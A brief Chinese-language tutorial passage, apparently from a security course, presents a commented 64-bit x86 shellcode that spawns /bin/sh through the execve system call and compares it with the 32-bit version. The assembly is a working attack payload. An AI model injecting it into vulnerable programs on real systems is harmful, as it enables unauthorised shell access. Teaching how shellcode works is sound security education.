64 位 Shellcode
章节大纲
-
我们提供了一个示例的 64 位 shellcode,如下所示。它与 32 位 shellcode 非常相似,只是寄存器名称不同以及 execve() 系统调用所使用的寄存器也不同。我们在注释中进行了部分解释,并未提供详细的 shellcode 解释。
xor rdx, rdx ; rdx = 0: execve()'s 第三个参数 push rdx mov rax, '/bin//sh' ; 要运行的命令 push rax ; mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 第一个参数 push rdx ; argv[1] = 0 push rdi ; argv[0] --> "/bin//sh" mov rsi, rsp ; rsi --> argv[]: execve()'s 第二个参数 xor rax, rax mov al, 0x3b ; execve()'s 系统调用号 syscall